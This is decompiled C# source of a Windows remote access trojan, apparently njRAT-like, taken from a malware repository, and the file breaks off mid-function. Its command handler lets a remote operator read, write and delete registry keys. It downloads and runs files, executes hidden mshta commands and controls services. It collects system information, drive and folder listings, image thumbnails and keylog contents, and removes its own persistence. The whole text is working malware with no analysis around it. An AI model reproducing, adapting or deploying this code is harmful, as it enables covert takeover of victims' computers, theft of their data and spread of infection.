MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.wh-0adec5f2e37dcb28180512f882c1aec3a7f939bf33e4147587c7b7277719444b/IND.cs
2022-08-18 06:28:56 -05:00

2405 lines
99 KiB
C#

// Decompiled with JetBrains decompiler
// Type: n.IND
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.wh-0adec5f2e37dcb28180512f882c1aec3a7f939bf33e4147587c7b7277719444b.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;
using n.My;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace n
{
[StandardModule]
internal sealed class IND
{
public static string TM = Interaction.Environ("temp") + "\\";
public static string Y = "^:^";
private static int ER;
public static int LPING;
public static chat Ca = new chat();
private const int MOUSEEVENTF_ABSOLUTE = 32768;
private const int MOUSEEVENTF_LEFTDOWN = 2;
private const int MOUSEEVENTF_LEFTUP = 4;
private const int MOUSEEVENTF_MOVE = 1;
private const int MOUSEEVENTF_MIDDLEDOWN = 32;
private const int MOUSEEVENTF_MIDDLEUP = 64;
private const int MOUSEEVENTF_RIGHTDOWN = 8;
private const int MOUSEEVENTF_RIGHTUP = 16;
private static string pk;
public static void inddd(string T)
{
RichTextBox t1 = B.Chat.T1;
t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n";
}
public static RegistryKey Rk(ref string p, ref bool W)
{
Array Instance = (Array) Strings.Split(p, "\\");
object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null);
RegistryKey registryKey;
if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false))
registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false))
registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false))
registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false))
registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false))
registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
{
(object) 0
}, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
return registryKey;
}
public static void ind(byte[] Da)
{
IND.ER = 0;
string str1 = Encoding.UTF8.GetString(Da);
int num1;
try
{
Array Instance1 = (Array) Strings.Split(str1, IND.Y);
string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 0
}, (string[]) null).ToString();
int num2;
if (Operators.CompareString(Left1, "#KON", false) == 0)
{
if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null), (object) "T", false))
B.KON = true;
else
B.KON = false;
}
else if (Operators.CompareString(Left1, "#RG", false) == 0)
{
IND.ER = 1;
object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null);
if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false))
{
Array Instance2 = Instance1;
object[] objArray1 = new object[1];
object[] objArray2 = objArray1;
int num3 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) num3;
objArray2[0] = (object) local1;
object[] Arguments = objArray1;
string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
ref string local2 = ref str2;
bool flag = false;
ref bool local3 = ref flag;
RegistryKey registryKey1 = IND.Rk(ref local2, ref local3);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num3,
(object) str2
}, (string[]) null, true, false);
RegistryKey registryKey2 = registryKey1;
string Right;
string s;
foreach (string subKeyName in registryKey2.GetSubKeyNames())
{
string str3 = Right;
s = subKeyName + IND.Y + IND.Y + "Key";
string str4 = API.ENB(ref s);
string y = IND.Y;
Right = str3 + str4 + y;
}
foreach (string valueName in registryKey2.GetValueNames())
{
string str5 = registryKey2.GetValue(valueName, RuntimeHelpers.GetObjectValue(new object())).ToString();
if (str5.Length > 200)
str5 = Strings.Mid(str5, 1, 200);
string str6 = Right;
s = valueName + IND.Y + str5 + IND.Y + "Value";
string str7 = API.ENB(ref s);
string y = IND.Y;
Right = str6 + str7 + y;
}
B b = MyProject.Forms.B;
s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 2
}, (string[]) null)), (object) IND.Y), (object) Right));
ref string local4 = ref s;
b.SEND(ref local4);
}
else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false))
{
Array Instance3 = Instance1;
object[] objArray3 = new object[1];
object[] objArray4 = objArray3;
int num4 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local5 = (ValueType) num4;
objArray4[0] = (object) local5;
object[] Arguments = objArray3;
string str8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null));
ref string local6 = ref str8;
bool flag = true;
ref bool local7 = ref flag;
RegistryKey registryKey = IND.Rk(ref local6, ref local7);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num4,
(object) str8
}, (string[]) null, true, false);
registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 3
}, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 4
}, (string[]) null)));
}
else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false))
{
Array Instance4 = Instance1;
object[] objArray5 = new object[1];
object[] objArray6 = objArray5;
int num5 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local8 = (ValueType) num5;
objArray6[0] = (object) local8;
object[] Arguments = objArray5;
string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null));
ref string local9 = ref str9;
bool flag = true;
ref bool local10 = ref flag;
RegistryKey registryKey3 = IND.Rk(ref local9, ref local10);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num5,
(object) str9
}, (string[]) null, true, false);
RegistryKey registryKey4 = registryKey3;
int num6 = Instance1.Length - 1;
for (int index = 3; index <= num6; ++index)
{
Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) index
}, (string[]) null)), "\\");
if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
{
(object) 1
}, (string[]) null), (object) "Key", false))
registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
{
(object) 0
}, (string[]) null)));
else
registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
{
(object) 0
}, (string[]) null)));
}
}
else
{
if (!Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false))
return;
Array Instance6 = Instance1;
object[] objArray7 = new object[1];
object[] objArray8 = objArray7;
int num7 = 2;
// ISSUE: variable of a boxed type
__Boxed<int> local11 = (ValueType) num7;
objArray8[0] = (object) local11;
object[] Arguments = objArray7;
string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null));
ref string local12 = ref str10;
bool flag = true;
ref bool local13 = ref flag;
RegistryKey registryKey = IND.Rk(ref local12, ref local13);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num7,
(object) str10
}, (string[]) null, true, false);
registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 3
}, (string[]) null)));
}
}
else if (Operators.CompareString(Left1, "#k", false) == 0)
{
IND.ER = 1;
if (File.Exists(Application.StartupPath + "\\" + B.exename) && FileSystem.FileLen(Application.StartupPath + "\\" + B.exename) > 0L)
{
B b = MyProject.Forms.B;
string str11 = "#k" + IND.Y + File.ReadAllText(Application.StartupPath + "\\" + B.exename);
ref string local = ref str11;
b.SEND(ref local);
}
else
{
B b = MyProject.Forms.B;
string str12 = "#k" + IND.Y + "..";
ref string local = ref str12;
b.SEND(ref local);
}
}
else if (Operators.CompareString(Left1, "#X", false) == 0)
{
IND.ER = 0;
int num8 = 8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null).ToString().Length;
MemoryStream memoryStream = new MemoryStream();
int num9 = num8;
int num10 = Da.Length - 1;
for (int index = num9; index <= num10; ++index)
memoryStream.WriteByte(Da[index]);
byte[] array = memoryStream.ToArray();
bool flag = false;
ref bool local = ref flag;
byte[] bytes = API.ZIP(array, ref local);
int num11 = 0;
do
{
if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)))))
{
try
{
File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null))));
File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null))), bytes);
NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
{
Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null))
}, (string[]) null, (System.Type[]) null, (bool[]) null, true);
break;
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
++num11;
}
else
{
File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null))), bytes);
NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
{
Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null))
}, (string[]) null, (System.Type[]) null, (bool[]) null, true);
break;
}
}
while (num11 <= 999);
}
else if (Operators.CompareString(Left1, "##", false) == 0)
{
IND.ER = 5;
MyProject.Computer.Registry.CurrentUser.SetValue("p", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)));
B b = MyProject.Forms.B;
string str13 = "plugin";
ref string local = ref str13;
b.SEND(ref local);
}
else if (Operators.CompareString(Left1, "#Rec", false) == 0)
{
B.XRec = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null));
MyProject.Forms.B.Dis();
}
else if (Operators.CompareString(Left1, "#ser0", false) == 0)
{
IND.ER = 1;
string str14;
string s;
foreach (ServiceController service in ServiceController.GetServices())
{
string str15 = str14;
string y = IND.Y;
s = service.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(service.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + service.Status.ToString() + "{}" + service.DisplayName;
string str16 = API.ENB(ref s);
str14 = str15 + y + str16;
}
B b = MyProject.Forms.B;
s = "#ser0" + str14;
ref string local = ref s;
b.SEND(ref local);
}
else if (Operators.CompareString(Left1, "#ser1", false) == 0)
{
IND.ER = 1;
foreach (ServiceController service in ServiceController.GetServices())
{
if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null), false))
service.Start();
}
}
else if (Operators.CompareString(Left1, "#ser2", false) == 0)
{
IND.ER = 1;
foreach (ServiceController service in ServiceController.GetServices())
{
if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null), false))
service.Stop();
}
}
else if (Operators.CompareString(Left1, "#R", false) == 0)
{
IND.ER = 0;
B.Nkey.SetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)));
B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null));
B b = MyProject.Forms.B;
string str17 = Conversions.ToString(Operators.ConcatenateObject((object) ("#R" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)));
ref string local = ref str17;
b.SEND(ref local);
}
else if (Operators.CompareString(Left1, "ping", false) == 0)
{
B b = MyProject.Forms.B;
string str18 = "pong";
ref string local = ref str18;
b.SEND(ref local);
}
else if (Operators.CompareString(Left1, "#0", false) == 0)
{
IND.ER = 0;
B b1 = MyProject.Forms.B;
string str19 = "#red";
ref string local14 = ref str19;
b1.SEND(ref local14);
Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.Du((Array) a0)));
Array Instance7 = Instance1;
object[] objArray9 = new object[1];
object[] objArray10 = objArray9;
int num12 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local15 = (ValueType) num12;
objArray10[0] = (object) local15;
object[] Arguments = objArray9;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null));
string Expression = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num12,
(object) s
}, (string[]) null, true, false);
string y = IND.Y;
IND.Du((Array) Strings.Split(Expression, y));
do
{
num1 = 0;
Thread.Sleep(5);
}
while (thread.IsAlive);
B b2 = MyProject.Forms.B;
string str20 = "#Bla";
ref string local16 = ref str20;
b2.SEND(ref local16);
}
else if (Operators.CompareString(Left1, "#1", false) == 0)
{
B b3 = MyProject.Forms.B;
string str21 = "#red";
ref string local17 = ref str21;
b3.SEND(ref local17);
IND.ER = 0;
Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.DT((Array) a0)));
Array Instance8 = Instance1;
object[] objArray11 = new object[1];
object[] objArray12 = objArray11;
int num13 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local18 = (ValueType) num13;
objArray12[0] = (object) local18;
object[] Arguments = objArray11;
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments, (string[]) null));
string Expression = API.DEB(ref s);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num13,
(object) s
}, (string[]) null, true, false);
string y = IND.Y;
IND.DT((Array) Strings.Split(Expression, y));
do
{
num1 = 1;
Thread.Sleep(5);
}
while (thread.IsAlive);
B b4 = MyProject.Forms.B;
string str22 = "#Bla";
ref string local19 = ref str22;
b4.SEND(ref local19);
}
else if (Operators.CompareString(Left1, "#2", false) == 0)
{
IND.ER = 0;
string str23 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)), ".")[Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)), ".").Length - 1];
int num14 = 0;
while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23))
{
try
{
File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23);
int num15;
++num15;
if (num15 > 5)
return;
continue;
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
++num14;
if (num14 > 9999)
return;
}
string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23;
Network network = MyProject.Computer.Network;
object[] objArray13 = new object[2];
object[] objArray14 = objArray13;
Array Instance9 = Instance1;
object[] objArray15 = new object[1];
object[] objArray16 = objArray15;
int num16 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num16;
objArray16[0] = (object) local;
object[] Arguments1 = objArray15;
object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance9, Arguments1, (string[]) null));
objArray14[0] = objectValue;
objArray13[1] = (object) fileName;
object[] objArray17 = objArray13;
object[] Arguments2 = objArray17;
bool[] flagArray = new bool[2]{ true, true };
bool[] CopyBack = flagArray;
NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments2, (string[]) null, (System.Type[]) null, CopyBack, true);
if (flagArray[0])
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num16,
RuntimeHelpers.GetObjectValue(objArray17[0])
}, (string[]) null, true, false);
if (flagArray[1])
fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray17[1]), typeof (string));
Process.Start(fileName);
}
else if (Operators.CompareString(Left1, "#3", false) == 0)
{
IND.ER = 0;
MemoryStream memoryStream = new MemoryStream();
byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y);
memoryStream.Write(bytes1, 0, bytes1.Length);
Encoding encoding = Encoding.Default;
ref byte[] local20 = ref C.Plug;
string str24 = "plugin.C";
ref string local21 = ref str24;
string str25 = "Pass";
ref string local22 = ref str25;
object obj = (object) null;
ref object local23 = ref obj;
string s1 = Conversions.ToString(C.inv(ref local20, ref local21, ref local22, ref local23));
string s2 = API.ENB(ref s1);
byte[] bytes2 = encoding.GetBytes(s2);
bool flag = true;
ref bool local24 = ref flag;
byte[] buffer = API.ZIP(bytes2, ref local24);
memoryStream.Write(buffer, 0, buffer.Length);
MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
}
else if (Operators.CompareString(Left1, "#4", false) == 0)
{
if (B.Rec)
ProjectData.EndApp();
IND.ER = 0;
try
{
MyProject.Forms.B.BW.B.Dispose();
A.fj.Dispose();
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null), (object) "!", false))
{
try
{
MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
try
{
MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU);
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
try
{
B.Nkey.DeleteValue("vname");
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
try
{
B.Nkey.DeleteValue("FL");
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
try
{
foreach (DriveInfo drive in DriveInfo.GetDrives())
{
if (drive.IsReady)
{
if (drive.TotalFreeSpace > 0L)
{
try
{
if (File.Exists(drive.Name + B.Uo))
File.Delete(drive.Name + B.Uo);
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
}
}
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
foreach (Process process in Process.GetProcessesByName("wscript"))
{
try
{
process.Kill();
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
try
{
string path = Application.StartupPath + "\\j.vbs";
string w = n.My.Resources.Resources.W;
string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath);
File.WriteAllText(path, contents);
Process.Start(Application.StartupPath + "\\j.vbs");
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
ProjectData.EndApp();
}
else if (Operators.CompareString(Left1, "#5", false) == 0)
{
IND.ER = 0;
Process process = Process.Start(new ProcessStartInfo()
{
FileName = "mshta.exe",
Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
{
(object) 1
}, (string[]) null)),
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
});
Thread.Sleep(60000);
try
{
process.Kill();
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
}
else if (Operators.CompareString(Left1, "#6", false) == 0)
{
IND.ER = 0;
try
{
MyProject.Forms.B.BW.B.Dispose();
if (A.fj.Id > 1)
A.fj.Kill();
}
catch (Exception ex)
{
int lErl = num2;
ProjectData.SetProjectError(ex, lErl);
ProjectData.ClearProjectError();
}
Process.Start(Application.ExecutablePath);
ProjectData.EndApp();
}
else if (Operators.CompareString(Left1, "#7", false) == 0)
{
IND.ER = 2;
Array Instance10 = Instance1;
object[] objArray18 = new object[1];
object[] objArray19 = objArray18;
int num17 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local25 = (ValueType) num17;
objArray19[0] = (object) local25;
object[] Arguments = objArray18;
int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance10, Arguments, (string[]) null));
byte[] numArray = sc.gc(ref integer);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num17,
(object) integer
}, (string[]) null, true, false);
byte[] buffer = numArray;
if (buffer.Length == 0)
{
B b = MyProject.Forms.B;
string str26 = "#5" + IND.Y + Conversions.ToString(0);
ref string local26 = ref str26;
b.SEND(ref local26);
}
else
{
MemoryStream memoryStream = new MemoryStream();
memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
memoryStream.Write(buffer, 0, buffer.Length);
MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
}
}
else if (Operators.CompareString(Left1, "#8", false) == 0)
{
string Right = "\r\n";
string str27;
string s = Conversions.ToString(Operators.AddObject((object) (str27 + "PC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + IND.siz(Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory)) + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + B.Nkey.Name + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No");
B b = MyProject.Forms.B;
string str28 = "#7" + IND.Y + API.ENB(ref s);
ref string local = ref str28;
b.SEND(ref local);
}
else if (Operators.CompareString(Left1, "#9", false) == 0)
{
IND.ER = 1;
string str29;
string s;
foreach (DriveInfo drive in DriveInfo.GetDrives())
{
if (drive.IsReady)
{
string str30 = str29;
string y = IND.Y;
s = drive.Name;
string str31 = API.ENB(ref s);
str29 = str30 + y + str31;
}
}
B b = MyProject.Forms.B;
string[] strArray1 = new string[8];
strArray1[0] = "#8";
strArray1[1] = str29;
strArray1[2] = IND.Y;
string[] strArray2 = strArray1;
string desktop = MyProject.Computer.FileSystem.SpecialDirectories.Desktop;
string str32 = API.ENB(ref desktop);
strArray2[3] = str32;
strArray1[4] = IND.Y;
string[] strArray3 = strArray1;
string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments;
string str33 = API.ENB(ref myDocuments);
strArray3[5] = str33;
strArray1[6] = IND.Y;
string[] strArray4 = strArray1;
s = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
string str34 = API.ENB(ref s);
strArray4[7] = str34;
string str35 = string.Concat(strArray1);
ref string local = ref str35;
b.SEND(ref local);
}
else if (Operators.CompareString(Left1, "#10", false) == 0)
{
IND.ER = 1;
Array Instance11 = Instance1;
object[] objArray20 = new object[1];
object[] objArray21 = objArray20;
int num18 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local27 = (ValueType) num18;
objArray21[0] = (object) local27;
object[] Arguments3 = objArray20;
string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments3, (string[]) null));
string path1 = API.DEB(ref s3);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num18,
(object) s3
}, (string[]) null, true, false);
string str36;
foreach (string directory in Directory.GetDirectories(path1))
{
string str37 = str36;
string y = IND.Y;
string Expression = directory;
Array Instance12 = Instance1;
object[] objArray22 = new object[1];
object[] objArray23 = objArray22;
int num19 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local28 = (ValueType) num19;
objArray23[0] = (object) local28;
object[] Arguments4 = objArray22;
string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments4, (string[]) null));
string Find = API.DEB(ref s4);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num19,
(object) s4
}, (string[]) null, true, false);
string s5 = Strings.Replace(Expression, Find, "") + "*DIR";
string str38 = API.ENB(ref s5);
str36 = str37 + y + str38;
}
string[] strArray5 = new string[5]
{
"png",
"jpg",
"jpeg",
"bmp",
"ico"
};
Array Instance13 = Instance1;
object[] objArray24 = new object[1];
object[] objArray25 = objArray24;
int num20 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local29 = (ValueType) num20;
objArray25[0] = (object) local29;
object[] Arguments5 = objArray24;
string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments5, (string[]) null));
string path2 = API.DEB(ref s6);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num20,
(object) s6
}, (string[]) null, true, false);
foreach (string file in Directory.GetFiles(path2))
{
bool flag;
foreach (string str39 in strArray5)
{
if (Operators.CompareString(str39.ToLower(), Strings.Split(file, ".")[Strings.Split(file, ".").Length - 1].ToLower(), false) == 0)
{
flag = true;
break;
}
}
string s7;
if (flag)
{
try
{
Image image = Image.FromFile(file);
MemoryStream memoryStream = new MemoryStream();
EncoderParameters encoderParams = new EncoderParameters(1);
encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L);
ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams);
string str40 = str36;
string y = IND.Y;
string[] strArray6 = new string[5];
string[] strArray7 = strArray6;
string Expression = file;
Array Instance14 = Instance1;
object[] objArray26 = new object[1];
object[] objArray27 = objArray26;
int num21 = 1;
// ISSUE: variable of a boxed type
__Boxed<int> local30 = (ValueType) num21;
objArray27[0] = (object) local30;
object[] Arguments6 = objArray26;
string s8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance14, Arguments6, (string[]) null));
string Find = API.DEB(ref s8);
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
{
(object) num21,
(object) s8
}, (string[]) null, true, false);
